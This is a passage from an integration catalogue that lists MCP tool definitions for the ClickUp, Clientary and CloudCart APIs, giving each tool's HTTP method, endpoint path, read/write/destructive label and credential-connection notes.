clickup_patch_api_v3_workspaces_by_workspace_id_chat_messages_by_message_id (write) — Patch chat message via PATCH /api/v3/workspaces/{workspace_id}/chat/messages/{message_id} PATCH /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/messages/{message_id}. Scopes: none. clickup_patch_api_v3_workspaces_by_workspace_id_tasks_by_task_id_time_estimates_by_user (write) — Update time estimates by user via PATCH /api/v3/workspaces/{workspace_id}/tasks/{task_id}/time_estimates_by_user [Business plan or above] PATCH /api/v1/clickup/api/v3/workspaces/{workspace_id}/tasks/{task_id}/time_estimates_by_user. Scopes: none. clickup_post_api_v3_workspaces_by_workspace_id_auditlogs (write) — Query audit log via POST /api/v3/workspaces/{workspace_id}/auditlogs [Enterprise plan + workspace owner only] POST /api/v1/clickup/api/v3/workspaces/{workspace_id}/auditlogs. Scopes: none. clickup_post_api_v3_workspaces_by_workspace_id_chat_channels (write) — Create chat channel via POST /api/v3/workspaces/{workspace_id}/chat/channels POST /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/channels. Scopes: none. clickup_post_api_v3_workspaces_by_workspace_id_chat_channels_by_channel_id_messages (write) — Create chat message via POST /api/v3/workspaces/{workspace_id}/chat/channels/{channel_id}/messages POST /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/channels/{channel_id}/messages. Scopes: none. clickup_post_api_v3_workspaces_by_workspace_id_chat_channels_direct_message (write) — Create direct message chat channel via POST /api/v3/workspaces/{workspace_id}/chat/channels/direct_message POST /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/channels/direct_message. Scopes: none. clickup_post_api_v3_workspaces_by_workspace_id_chat_channels_location (write) — Create location chat channel via POST /api/v3/workspaces/{workspace_id}/chat/channels/location POST /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/channels/location. Scopes: none. clickup_post_api_v3_workspaces_by_workspace_id_chat_messages_by_message_id_reactions (write) — Create chat reaction via POST /api/v3/workspaces/{workspace_id}/chat/messages/{message_id}/reactions POST /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/messages/{message_id}/reactions. Scopes: none. clickup_post_api_v3_workspaces_by_workspace_id_chat_messages_by_message_id_replies (write) — Create reply message via POST /api/v3/workspaces/{workspace_id}/chat/messages/{message_id}/replies POST /api/v1/clickup/api/v3/workspaces/{workspace_id}/chat/messages/{message_id}/replies. Scopes: none. clickup_post_api_v3_workspaces_by_workspace_id_docs (write) — Create doc public via POST /api/v3/workspaces/{workspace_id}/docs POST /api/v1/clickup/api/v3/workspaces/{workspace_id}/docs. Scopes: none. clickup_post_api_v3_workspaces_by_workspace_id_docs_by_doc_id_pages (write) — Create page public via POST /api/v3/workspaces/{workspace_id}/docs/{doc_id}/pages POST /api/v1/clickup/api/v3/workspaces/{workspace_id}/docs/{doc_id}/pages. Scopes: none. clickup_post_v2_checklist_by_checklist_id_checklist_item (write) — Create checklist item via POST /v2/checklist/{checklist_id}/checklist_item POST /api/v1/clickup/v2/checklist/{checklist_id}/checklist_item. Scopes: none. clickup_post_v2_comment_by_comment_id_reply (write) — Create threaded comment via POST /v2/comment/{comment_id}/reply POST /api/v1/clickup/v2/comment/{comment_id}/reply. Scopes: none. clickup_post_v2_folder_by_folder_id_guest_by_guest_id (write) — Add guest to folder via POST /v2/folder/{folder_id}/guest/{guest_id} [Enterprise plan only] POST /api/v1/clickup/v2/folder/{folder_id}/guest/{guest_id}. Scopes: none. clickup_post_v2_folder_by_folder_id_list (write) — Create list via POST /v2/folder/{folder_id}/list POST /api/v1/clickup/v2/folder/{folder_id}/list. Scopes: none. clickup_post_v2_folder_by_folder_id_list_template_by_template_id (write) — Create folder list from template via POST /v2/folder/{folder_id}/list_template/{template_id} POST /api/v1/clickup/v2/folder/{folder_id}/list_template/{template_id}. Scopes: none. clickup_post_v2_folder_by_folder_id_view (write) — Create folder view via POST /v2/folder/{folder_id}/view POST /api/v1/clickup/v2/folder/{folder_id}/view. Scopes: none. clickup_post_v2_goal_by_goal_id_key_result (write) — Create key result via POST /v2/goal/{goal_id}/key_result POST /api/v1/clickup/v2/goal/{goal_id}/key_result. Scopes: none. clickup_post_v2_list_by_list_id_comment (write) — Create list comment via POST /v2/list/{list_id}/comment POST /api/v1/clickup/v2/list/{list_id}/comment. Scopes: none. clickup_post_v2_list_by_list_id_guest_by_guest_id (write) — Add guest to list via POST /v2/list/{list_id}/guest/{guest_id} [Enterprise plan only] POST /api/v1/clickup/v2/list/{list_id}/guest/{guest_id}. Scopes: none. clickup_post_v2_list_by_list_id_task (write) — Create task via POST /v2/list/{list_id}/task POST /api/v1/clickup/v2/list/{list_id}/task. Scopes: none. clickup_post_v2_list_by_list_id_task_by_task_id (write) — Add task to list via POST /v2/list/{list_id}/task/{task_id} POST /api/v1/clickup/v2/list/{list_id}/task/{task_id}. Scopes: none. clickup_post_v2_list_by_list_id_tasktemplate_by_template_id (write) — Create task from template via POST /v2/list/{list_id}/taskTemplate/{template_id} POST /api/v1/clickup/v2/list/{list_id}/taskTemplate/{template_id}. Scopes: none. clickup_post_v2_list_by_list_id_view (write) — Create list view via POST /v2/list/{list_id}/view POST /api/v1/clickup/v2/list/{list_id}/view. Scopes: none. clickup_post_v2_oauth_token (write) — Get access token via POST /v2/oauth/token POST /api/v1/clickup/v2/oauth/token. Scopes: none. clickup_post_v2_space_by_space_id_folder (write) — Create folder via POST /v2/space/{space_id}/folder POST /api/v1/clickup/v2/space/{space_id}/folder. Scopes: none. clickup_post_v2_space_by_space_id_folder_template_by_template_id (write) — Create folder from template via POST /v2/space/{space_id}/folder_template/{template_id} POST /api/v1/clickup/v2/space/{space_id}/folder_template/{template_id}. Scopes: none. clickup_post_v2_space_by_space_id_list (write) — Create folderless list via POST /v2/space/{space_id}/list POST /api/v1/clickup/v2/space/{space_id}/list. Scopes: none. clickup_post_v2_space_by_space_id_list_template_by_template_id (write) — Create space list from template via POST /v2/space/{space_id}/list_template/{template_id} POST /api/v1/clickup/v2/space/{space_id}/list_template/{template_id}. Scopes: none. clickup_post_v2_space_by_space_id_tag (write) — Create space tag via POST /v2/space/{space_id}/tag POST /api/v1/clickup/v2/space/{space_id}/tag. Scopes: none. clickup_post_v2_space_by_space_id_view (write) — Create space view via POST /v2/space/{space_id}/view POST /api/v1/clickup/v2/space/{space_id}/view. Scopes: none. clickup_post_v2_task_by_task_id_checklist (write) — Create checklist via POST /v2/task/{task_id}/checklist When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). POST /api/v1/clickup/v2/task/{task_id}/checklist. Scopes: none. clickup_post_v2_task_by_task_id_comment (write) — Create task comment via POST /v2/task/{task_id}/comment When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). POST /api/v1/clickup/v2/task/{task_id}/comment. Scopes: none. clickup_post_v2_task_by_task_id_dependency (write) — Add dependency via POST /v2/task/{task_id}/dependency When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). POST /api/v1/clickup/v2/task/{task_id}/dependency. Scopes: none. clickup_post_v2_task_by_task_id_field_by_field_id (write) — Set custom field value via POST /v2/task/{task_id}/field/{field_id} When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). POST /api/v1/clickup/v2/task/{task_id}/field/{field_id}. Scopes: none. clickup_post_v2_task_by_task_id_guest_by_guest_id (write) — Add guest to task via POST /v2/task/{task_id}/guest/{guest_id} [Enterprise plan only] When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). POST /api/v1/clickup/v2/task/{task_id}/guest/{guest_id}. Scopes: none. clickup_post_v2_task_by_task_id_link_by_links_to (write) — Add task link via POST /v2/task/{task_id}/link/{links_to} When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). POST /api/v1/clickup/v2/task/{task_id}/link/{links_to}. Scopes: none. clickup_post_v2_task_by_task_id_merge (write) — Merge tasks via POST /v2/task/{task_id}/merge POST /api/v1/clickup/v2/task/{task_id}/merge. Scopes: none. clickup_post_v2_task_by_task_id_tag_by_tag_name (write) — Add tag to task via POST /v2/task/{task_id}/tag/{tag_name} When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). POST /api/v1/clickup/v2/task/{task_id}/tag/{tag_name}. Scopes: none. clickup_post_v2_task_by_task_id_time (write) — Tracktime via POST /v2/task/{task_id}/time When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). POST /api/v1/clickup/v2/task/{task_id}/time. Scopes: none. clickup_post_v2_team_by_team_id_goal (write) — Create goal via POST /v2/team/{team_id}/goal POST /api/v1/clickup/v2/team/{team_id}/goal. Scopes: none. clickup_post_v2_team_by_team_id_group (write) — Create user group via POST /v2/team/{team_id}/group POST /api/v1/clickup/v2/team/{team_id}/group. Scopes: none. clickup_post_v2_team_by_team_id_guest (write) — Invite guest to workspace via POST /v2/team/{team_id}/guest [Enterprise plan only] POST /api/v1/clickup/v2/team/{team_id}/guest. Scopes: none. clickup_post_v2_team_by_team_id_space (write) — Create space via POST /v2/team/{team_id}/space POST /api/v1/clickup/v2/team/{team_id}/space. Scopes: none. clickup_post_v2_team_by_team_id_time_entries (write) — Createatimeentry via POST /v2/team/{team_Id}/time_entries When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). POST /api/v1/clickup/v2/team/{team_Id}/time_entries. Scopes: none. clickup_post_v2_team_by_team_id_time_entries_start (write) — Startatime entry via POST /v2/team/{team_Id}/time_entries/start When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). POST /api/v1/clickup/v2/team/{team_Id}/time_entries/start. Scopes: none. clickup_post_v2_team_by_team_id_time_entries_stop (write) — Stopatime entry via POST /v2/team/{team_id}/time_entries/stop POST /api/v1/clickup/v2/team/{team_id}/time_entries/stop. Scopes: none. clickup_post_v2_team_by_team_id_time_entries_tags (write) — Addtagsfromtimeentries via POST /v2/team/{team_id}/time_entries/tags POST /api/v1/clickup/v2/team/{team_id}/time_entries/tags. Scopes: none. clickup_post_v2_team_by_team_id_user (write) — Invite user to workspace via POST /v2/team/{team_id}/user [Enterprise plan only] POST /api/v1/clickup/v2/team/{team_id}/user. Scopes: none. clickup_post_v2_team_by_team_id_view (write) — Create team view via POST /v2/team/{team_id}/view POST /api/v1/clickup/v2/team/{team_id}/view. Scopes: none. clickup_post_v2_team_by_team_id_webhook (write) — Create webhook via POST /v2/team/{team_id}/webhook POST /api/v1/clickup/v2/team/{team_id}/webhook. Scopes: none. clickup_post_v2_view_by_view_id_comment (write) — Create chat view comment via POST /v2/view/{view_id}/comment POST /api/v1/clickup/v2/view/{view_id}/comment. Scopes: none. clickup_put_api_v3_workspaces_by_workspace_id_docs_by_doc_id_pages_by_page_id (write) — Edit page public via PUT /api/v3/workspaces/{workspace_id}/docs/{doc_id}/pages/{page_id} PUT /api/v1/clickup/api/v3/workspaces/{workspace_id}/docs/{doc_id}/pages/{page_id}. Scopes: none. clickup_put_api_v3_workspaces_by_workspace_id_tasks_by_task_id_home_list_by_list_id (write) — Move task via PUT /api/v3/workspaces/{workspace_id}/tasks/{task_id}/home_list/{list_id} PUT /api/v1/clickup/api/v3/workspaces/{workspace_id}/tasks/{task_id}/home_list/{list_id}. Scopes: none. clickup_put_api_v3_workspaces_by_workspace_id_tasks_by_task_id_time_estimates_by_user (write) — Replace time estimates by user via PUT /api/v3/workspaces/{workspace_id}/tasks/{task_id}/time_estimates_by_user [Business plan or above] PUT /api/v1/clickup/api/v3/workspaces/{workspace_id}/tasks/{task_id}/time_estimates_by_user. Scopes: none. clickup_put_v2_checklist_by_checklist_id (write) — Edit checklist via PUT /v2/checklist/{checklist_id} PUT /api/v1/clickup/v2/checklist/{checklist_id}. Scopes: none. clickup_put_v2_checklist_by_checklist_id_checklist_item_by_checklist_item_id (write) — Edit checklist item via PUT /v2/checklist/{checklist_id}/checklist_item/{checklist_item_id} PUT /api/v1/clickup/v2/checklist/{checklist_id}/checklist_item/{checklist_item_id}. Scopes: none. clickup_put_v2_comment_by_comment_id (write) — Update comment via PUT /v2/comment/{comment_id} PUT /api/v1/clickup/v2/comment/{comment_id}. Scopes: none. clickup_put_v2_folder_by_folder_id (write) — Update folder via PUT /v2/folder/{folder_id} PUT /api/v1/clickup/v2/folder/{folder_id}. Scopes: none. clickup_put_v2_folder_by_folder_id_position (write) — Move folder via PUT /v2/folder/{folder_id}/position PUT /api/v1/clickup/v2/folder/{folder_id}/position. Scopes: none. clickup_put_v2_goal_by_goal_id (write) — Update goal via PUT /v2/goal/{goal_id} PUT /api/v1/clickup/v2/goal/{goal_id}. Scopes: none. clickup_put_v2_group_by_group_id (write) — Update team via PUT /v2/group/{group_id} PUT /api/v1/clickup/v2/group/{group_id}. Scopes: none. clickup_put_v2_key_result_by_key_result_id (write) — Edit key result via PUT /v2/key_result/{key_result_id} PUT /api/v1/clickup/v2/key_result/{key_result_id}. Scopes: none. clickup_put_v2_list_by_list_id (write) — Update list via PUT /v2/list/{list_id} PUT /api/v1/clickup/v2/list/{list_id}. Scopes: none. clickup_put_v2_space_by_space_id (write) — Update space via PUT /v2/space/{space_id} PUT /api/v1/clickup/v2/space/{space_id}. Scopes: none. clickup_put_v2_space_by_space_id_tag_by_tag_name (write) — Edit space tag via PUT /v2/space/{space_id}/tag/{tag_name} PUT /api/v1/clickup/v2/space/{space_id}/tag/{tag_name}. Scopes: none. clickup_put_v2_task_by_task_id (write) — Update task via PUT /v2/task/{task_id} When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). PUT /api/v1/clickup/v2/task/{task_id}. Scopes: none. clickup_put_v2_task_by_task_id_time_by_interval_id (write) — Edittimetracked via PUT /v2/task/{task_id}/time/{interval_id} When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). PUT /api/v1/clickup/v2/task/{task_id}/time/{interval_id}. Scopes: none. clickup_put_v2_team_by_team_id_guest_by_guest_id (write) — Edit guest on workspace via PUT /v2/team/{team_id}/guest/{guest_id} [Enterprise plan only] PUT /api/v1/clickup/v2/team/{team_id}/guest/{guest_id}. Scopes: none. clickup_put_v2_team_by_team_id_time_entries_by_timer_id (write) — Updateatime entry via PUT /v2/team/{team_id}/time_entries/{timer_id} When custom_task_ids=true the workspace id is also sent as the team_id query parameter (the connector supplies it from the path). PUT /api/v1/clickup/v2/team/{team_id}/time_entries/{timer_id}. Scopes: none. clickup_put_v2_team_by_team_id_time_entries_tags (write) — Changetagnamesfromtimeentries via PUT /v2/team/{team_id}/time_entries/tags PUT /api/v1/clickup/v2/team/{team_id}/time_entries/tags. Scopes: none. clickup_put_v2_team_by_team_id_user_by_user_id (write) — Edit user on workspace via PUT /v2/team/{team_id}/user/{user_id} [Enterprise plan only] PUT /api/v1/clickup/v2/team/{team_id}/user/{user_id}. Scopes: none. clickup_put_v2_view_by_view_id (write) — Update view via PUT /v2/view/{view_id} PUT /api/v1/clickup/v2/view/{view_id}. Scopes: none. clickup_put_v2_webhook_by_webhook_id (write) — Update webhook via PUT /v2/webhook/{webhook_id} PUT /api/v1/clickup/v2/webhook/{webhook_id}. Scopes: none. ================================================================================ ## Clientary URL: https://www.agenticfabriq.com/integrations/clientary Section: Integrated Tools Clientary — 71 MCP tools Provider key: clientary. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. clientary_delete_api_v2_clients_client_id_payment_profiles_id (write, destructive) — Delete a payment profile via DELETE /api/v2/clients/{client_id}/payment_profiles/{id} DELETE /api/v1/clientary/api/v2/clients/{client_id}/payment_profiles/{id}. Scopes: api. clientary_delete_api_v2_clients_id (write, destructive) — Delete a client via DELETE /api/v2/clients/{id} DELETE /api/v1/clientary/api/v2/clients/{id}. Scopes: api. clientary_delete_api_v2_contacts_id (write, destructive) — Delete a contact via DELETE /api/v2/contacts/{id} DELETE /api/v1/clientary/api/v2/contacts/{id}. Scopes: api. clientary_delete_api_v2_estimates_id (write, destructive) — Delete an estimate via DELETE /api/v2/estimates/{id} DELETE /api/v1/clientary/api/v2/estimates/{id}. Scopes: api. clientary_delete_api_v2_expenses_id (write, destructive) — Delete an expense via DELETE /api/v2/expenses/{id} DELETE /api/v1/clientary/api/v2/expenses/{id}. Scopes: api. clientary_delete_api_v2_hours_id (write, destructive) — Delete an entry via DELETE /api/v2/hours/{id} DELETE /api/v1/clientary/api/v2/hours/{id}. Scopes: api. clientary_delete_api_v2_invoices_id (write, destructive) — Delete an invoice via DELETE /api/v2/invoices/{id} DELETE /api/v1/clientary/api/v2/invoices/{id}. Scopes: api. clientary_delete_api_v2_invoices_invoice_id_payments_id (write, destructive) — Delete a payment via DELETE /api/v2/invoices/{invoice_id}/payments/{id} DELETE /api/v1/clientary/api/v2/invoices/{invoice_id}/payments/{id}. Scopes: api. clientary_delete_api_v2_leads_id (write, destructive) — Delete a lead via DELETE /api/v2/leads/{id} DELETE /api/v1/clientary/api/v2/leads/{id}. Scopes: api. clientary_delete_api_v2_projects_id (write, destructive) — Delete a project via DELETE /api/v2/projects/{id} DELETE /api/v1/clientary/api/v2/projects/{id}. Scopes: api. clientary_delete_api_v2_recurring_id (write, destructive) — Delete a recurring schedule via DELETE /api/v2/recurring/{id} DELETE /api/v1/clientary/api/v2/recurring/{id}. Scopes: api. clientary_delete_api_v2_tasks_id (write, destructive) — Delete a task via DELETE /api/v2/tasks/{id} DELETE /api/v1/clientary/api/v2/tasks/{id}. Scopes: api. clientary_get_api_v2_clients (read) — Get all clients via GET /api/v2/clients GET /api/v1/clientary/api/v2/clients. Scopes: api. clientary_get_api_v2_clients_client_id_contacts (read) — Get contacts for client via GET /api/v2/clients/{client_id}/contacts GET /api/v1/clientary/api/v2/clients/{client_id}/contacts. Scopes: api. clientary_get_api_v2_clients_client_id_estimates (read) — Get estimates for client via GET /api/v2/clients/{client_id}/estimates GET /api/v1/clientary/api/v2/clients/{client_id}/estimates. Scopes: api. clientary_get_api_v2_clients_client_id_expenses (read) — Get expenses for client via GET /api/v2/clients/{client_id}/expenses GET /api/v1/clientary/api/v2/clients/{client_id}/expenses. Scopes: api. clientary_get_api_v2_clients_client_id_invoices (read) — Get invoices for client via GET /api/v2/clients/{client_id}/invoices GET /api/v1/clientary/api/v2/clients/{client_id}/invoices. Scopes: api. clientary_get_api_v2_clients_client_id_payment_profiles (read) — Get payment profiles for client via GET /api/v2/clients/{client_id}/payment_profiles GET /api/v1/clientary/api/v2/clients/{client_id}/payment_profiles. Scopes: api. clientary_get_api_v2_clients_client_id_projects (read) — Get projects for client via GET /api/v2/clients/{client_id}/projects GET /api/v1/clientary/api/v2/clients/{client_id}/projects. Scopes: api. clientary_get_api_v2_clients_id (read) — Get a client via GET /api/v2/clients/{id} GET /api/v1/clientary/api/v2/clients/{id}. Scopes: api. clientary_get_api_v2_contacts (read) — Get all contacts via GET /api/v2/contacts GET /api/v1/clientary/api/v2/contacts. Scopes: api. clientary_get_api_v2_contacts_id (read) — Get a contact via GET /api/v2/contacts/{id} GET /api/v1/clientary/api/v2/contacts/{id}. Scopes: api. clientary_get_api_v2_estimates (read) — Get all estimates via GET /api/v2/estimates GET /api/v1/clientary/api/v2/estimates. Scopes: api. clientary_get_api_v2_estimates_id (read) — Get an estimate via GET /api/v2/estimates/{id} GET /api/v1/clientary/api/v2/estimates/{id}. Scopes: api. clientary_get_api_v2_expenses (read) — Get expenses by date via GET /api/v2/expenses GET /api/v1/clientary/api/v2/expenses. Scopes: api. clientary_get_api_v2_expenses_id (read) — Get an expense via GET /api/v2/expenses/{id} GET /api/v1/clientary/api/v2/expenses/{id}. Scopes: api. clientary_get_api_v2_hours_id (read) — Get a specific entry via GET /api/v2/hours/{id} GET /api/v1/clientary/api/v2/hours/{id}. Scopes: api. clientary_get_api_v2_invoices (read) — Get all invoices via GET /api/v2/invoices GET /api/v1/clientary/api/v2/invoices. Scopes: api. clientary_get_api_v2_invoices_id (read) — Get an invoice via GET /api/v2/invoices/{id} GET /api/v1/clientary/api/v2/invoices/{id}. Scopes: api. clientary_get_api_v2_leads (read) — Get all leads via GET /api/v2/leads GET /api/v1/clientary/api/v2/leads. Scopes: api. clientary_get_api_v2_leads_id (read) — Get a lead via GET /api/v2/leads/{id} GET /api/v1/clientary/api/v2/leads/{id}. Scopes: api. clientary_get_api_v2_payments (read) — Get all payments via GET /api/v2/payments GET /api/v1/clientary/api/v2/payments. Scopes: api. clientary_get_api_v2_projects (read) — Get all projects via GET /api/v2/projects GET /api/v1/clientary/api/v2/projects. Scopes: api. clientary_get_api_v2_projects_id (read) — Get a project via GET /api/v2/projects/{id} GET /api/v1/clientary/api/v2/projects/{id}. Scopes: api. clientary_get_api_v2_projects_project_id_estimates (read) — Get estimates for project via GET /api/v2/projects/{project_id}/estimates GET /api/v1/clientary/api/v2/projects/{project_id}/estimates. Scopes: api. clientary_get_api_v2_projects_project_id_expenses (read) — Get expenses for project via GET /api/v2/projects/{project_id}/expenses GET /api/v1/clientary/api/v2/projects/{project_id}/expenses. Scopes: api. clientary_get_api_v2_projects_project_id_hours (read) — Get hours for project via GET /api/v2/projects/{project_id}/hours GET /api/v1/clientary/api/v2/projects/{project_id}/hours. Scopes: api. clientary_get_api_v2_projects_project_id_invoices (read) — Get invoices for project via GET /api/v2/projects/{project_id}/invoices GET /api/v1/clientary/api/v2/projects/{project_id}/invoices. Scopes: api. clientary_get_api_v2_recurring (read) — Get all recurring schedules via GET /api/v2/recurring GET /api/v1/clientary/api/v2/recurring. Scopes: api. clientary_get_api_v2_recurring_id (read) — Get a recurring schedule via GET /api/v2/recurring/{id} GET /api/v1/clientary/api/v2/recurring/{id}. Scopes: api. clientary_get_api_v2_recurring_id_invoices (read) — Get invoices for recurring schedule via GET /api/v2/recurring/{id}/invoices GET /api/v1/clientary/api/v2/recurring/{id}/invoices. Scopes: api. clientary_get_api_v2_tasks (read) — Get tasks via GET /api/v2/tasks GET /api/v1/clientary/api/v2/tasks. Scopes: api. clientary_get_api_v2_tasks_id (read) — Get a task via GET /api/v2/tasks/{id} GET /api/v1/clientary/api/v2/tasks/{id}. Scopes: api. clientary_get_projects_project_id_tasks (read) — Get tasks for project via GET /projects/{project_id}/tasks GET /api/v1/clientary/projects/{project_id}/tasks. Scopes: api. clientary_get_staff (read) — Get all staff via GET /staff GET /api/v1/clientary/staff. Scopes: api. clientary_get_staff_id (read) — Get a staff user via GET /staff/{id} GET /api/v1/clientary/staff/{id}. Scopes: api. clientary_post_api_v2_clients (write) — Create a new client via POST /api/v2/clients POST /api/v1/clientary/api/v2/clients. Scopes: api. clientary_post_api_v2_clients_client_id_contacts (write) — Create a new contact via POST /api/v2/clients/{client_id}/contacts POST /api/v1/clientary/api/v2/clients/{client_id}/contacts. Scopes: api. clientary_post_api_v2_clients_client_id_invoices (write) — Create a new invoice for client via POST /api/v2/clients/{client_id}/invoices POST /api/v1/clientary/api/v2/clients/{client_id}/invoices. Scopes: api. clientary_post_api_v2_clients_client_id_payment_profiles (write) — Create a payment profile via POST /api/v2/clients/{client_id}/payment_profiles POST /api/v1/clientary/api/v2/clients/{client_id}/payment_profiles. Scopes: api. clientary_post_api_v2_estimates (write) — Create a new estimate via POST /api/v2/estimates POST /api/v1/clientary/api/v2/estimates. Scopes: api. clientary_post_api_v2_estimates_id_messages (write) — Send an estimate via POST /api/v2/estimates/{id}/messages POST /api/v1/clientary/api/v2/estimates/{id}/messages. Scopes: api. clientary_post_api_v2_expenses (write) — Create a new expense via POST /api/v2/expenses POST /api/v1/clientary/api/v2/expenses. Scopes: api. clientary_post_api_v2_invoices (write) — Create a new invoice via POST /api/v2/invoices POST /api/v1/clientary/api/v2/invoices. Scopes: api. clientary_post_api_v2_invoices_id_messages (write) — Send an invoice via POST /api/v2/invoices/{id}/messages POST /api/v1/clientary/api/v2/invoices/{id}/messages. Scopes: api. clientary_post_api_v2_invoices_invoice_id_payments (write) — Post a new invoice payment via POST /api/v2/invoices/{invoice_id}/payments POST /api/v1/clientary/api/v2/invoices/{invoice_id}/payments. Scopes: api. clientary_post_api_v2_lead (write) — Create a new lead via POST /api/v2/Lead POST /api/v1/clientary/api/v2/Lead. Scopes: api. clientary_post_api_v2_projects (write) — Create a new project via POST /api/v2/projects POST /api/v1/clientary/api/v2/projects. Scopes: api. clientary_post_api_v2_projects_project_id_hours (write) — Create a new entry via POST /api/v2/projects/{project_id}/hours POST /api/v1/clientary/api/v2/projects/{project_id}/hours. Scopes: api. clientary_post_api_v2_recurring (write) — Create a new recurring schedule via POST /api/v2/recurring POST /api/v1/clientary/api/v2/recurring. Scopes: api. clientary_post_api_v2_task (write) — Create a new task via POST /api/v2/task POST /api/v1/clientary/api/v2/task. Scopes: api. clientary_put_api_v2_clients_id (write) — Update a client via PUT /api/v2/clients/{id} PUT /api/v1/clientary/api/v2/clients/{id}. Scopes: api. clientary_put_api_v2_contacts_id (write) — Update a contact via PUT /api/v2/contacts/{id} PUT /api/v1/clientary/api/v2/contacts/{id}. Scopes: api. clientary_put_api_v2_estimates_id (write) — Update an estimate via PUT /api/v2/estimates/{id} PUT /api/v1/clientary/api/v2/estimates/{id}. Scopes: api. clientary_put_api_v2_expenses_id (write) — Update an expense via PUT /api/v2/expenses/{id} PUT /api/v1/clientary/api/v2/expenses/{id}. Scopes: api. clientary_put_api_v2_hours_id (write) — Update an entry via PUT /api/v2/hours/{id} PUT /api/v1/clientary/api/v2/hours/{id}. Scopes: api. clientary_put_api_v2_invoice_id (write) — Update an invoice via PUT /api/v2/invoice/{id} PUT /api/v1/clientary/api/v2/invoice/{id}. Scopes: api. clientary_put_api_v2_leads_id (write) — Update a lead via PUT /api/v2/leads/{id} PUT /api/v1/clientary/api/v2/leads/{id}. Scopes: api. clientary_put_api_v2_projects_id (write) — Update a project via PUT /api/v2/projects/{id} PUT /api/v1/clientary/api/v2/projects/{id}. Scopes: api. clientary_put_api_v2_recurring_id (write) — Update a recurring schedule via PUT /api/v2/recurring/{id} PUT /api/v1/clientary/api/v2/recurring/{id}. Scopes: api. clientary_put_api_v2_tasks_id (write) — Update a task via PUT /api/v2/tasks/{id} PUT /api/v1/clientary/api/v2/tasks/{id}. Scopes: api. ================================================================================ ## CloudCart URL: https://www.agenticfabriq.com/integrations/cloudcart Section: Integrated Tools CloudCart — 142 MCP tools Provider key: cloudcart. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. cloudcart_delete_blogs_by_id (write, destructive) — Delete a blog Category (Blog - Categories) via DELETE /blogs/{id} DELETE /api/v1/cloudcart/blogs/{id}. Scopes: api. cloudcart_delete_categories_by_id (write, destructive) — Delete a Category (Categories) via DELETE /categories/{id} DELETE /api/v1/cloudcart/categories/{id}. Scopes: api. cloudcart_delete_customer_billing_address_by_id (write, destructive) — Delete a Customer Billing Address (Customer Billing Address) via DELETE /customer-billing-address/{id} DELETE /api/v1/cloudcart/customer-billing-address/{id}. Scopes: api. cloudcart_delete_customer_groups_by_id (write, destructive) — Delete a Customer Group (Customer Groups) via DELETE /customer-groups/{id} DELETE /api/v1/cloudcart/customer-groups/{id}. Scopes: api. cloudcart_delete_customer_shipping_address_by_id (write, destructive) — Delete a Customer Shipping Address (Customer Shipping Address) via DELETE /customer-shipping-address/{id} DELETE /api/v1/cloudcart/customer-shipping-address/{id}. Scopes: api. cloudcart_delete_customer_tags_by_id (write, destructive) — Delete a customer tag (Customer tags) via DELETE /customer-tags/{id} DELETE /api/v1/cloudcart/customer-tags/{id}. Scopes: api. cloudcart_delete_customers_by_id (write, destructive) — Delete a Customer (Customers) via DELETE /customers/{id} DELETE /api/v1/cloudcart/customers/{id}. Scopes: api. cloudcart_delete_discount_codes_by_id (write, destructive) — Delete a Discount Code (Discount Codes) via DELETE /discount-codes/{id} DELETE /api/v1/cloudcart/discount-codes/{id}. Scopes: api. cloudcart_delete_discount_codes_pro_by_id (write, destructive) — Delete a Discount Code Pro (Discount Codes Pro) via DELETE /discount-codes-pro/{id} DELETE /api/v1/cloudcart/discount-codes-pro/{id}. Scopes: api. cloudcart_delete_discounts_by_id (write, destructive) — Delete a Discount (Discounts) via DELETE /discounts/{id} DELETE /api/v1/cloudcart/discounts/{id}. Scopes: api. cloudcart_delete_images_by_id (write, destructive) — Delete an Image (Images) via DELETE /images/{id} DELETE /api/v1/cloudcart/images/{id}. Scopes: api. cloudcart_delete_order_fulfillment_by_id (write, destructive) — Delete Order Fulfillment (Order Fulfillment) via DELETE /order-fulfillment/{id} DELETE /api/v1/cloudcart/order-fulfillment/{id}. Scopes: api. cloudcart_delete_posts_by_id (write, destructive) — Delete a Post (Blog - Posts) via DELETE /posts/{id} DELETE /api/v1/cloudcart/posts/{id}. Scopes: api. cloudcart_delete_product_to_discount_by_id (write, destructive) — Delete Product To Discount (Product To Discount) via DELETE /product-to-discount/{id} DELETE /api/v1/cloudcart/product-to-discount/{id}. Scopes: api. cloudcart_delete_products_by_id (write, destructive) — Delete a Product (Products) via DELETE /products/{id} DELETE 